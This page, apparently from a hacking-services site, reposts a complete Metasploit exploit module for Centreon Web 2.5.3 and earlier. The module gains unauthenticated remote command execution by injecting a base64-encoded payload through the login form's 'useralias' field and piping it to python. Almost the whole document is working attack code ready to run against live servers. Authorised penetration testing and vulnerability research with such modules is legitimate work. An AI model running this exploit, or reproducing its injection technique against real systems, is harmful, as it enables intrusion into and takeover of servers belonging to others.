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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  Rank = ExcellentRanking
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => 'Centreon Web Useralias Command Execution',
        'Description' => %q(
          Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL
          errors.  This functionality can be abused for arbitrary code
          execution, and can be triggered via the login screen prior to
          authentication.
        ),
        'Author'      =>
          [
            'h00die <mike@shorebreaksecurity.com>',         # module
            'Nicolas CHATELAIN <n.chatelain@sysdream.com>'  # discovery
          ],
        'References'  =>
          [
            [ 'EDB', '39501' ]
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => ['python'],
        'Privileged'     => false,
        'Arch'           => ARCH_PYTHON,
        'Targets'        =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => 'Feb 26 2016'
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/'])
      ], self.class
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri'       => normalize_uri(target_uri.path, 'index.php'),
        'method'    => 'GET'
      )
      /LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body

      if version && Gem::Version.new(version) <= Gem::Version.new('2.5.3')
        vprint_good("Version Detected: #{version}")
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  def exploit
    begin
      vprint_status('Sending malicious login')
      send_request_cgi(
        'uri'       => normalize_uri(target_uri.path, 'index.php'),
        'method'    => 'POST',
        'vars_post'  =>
        {
          'useralias'   => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\",
          'password'    => Rex::Text.rand_text_alpha(5)
        }
      )

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end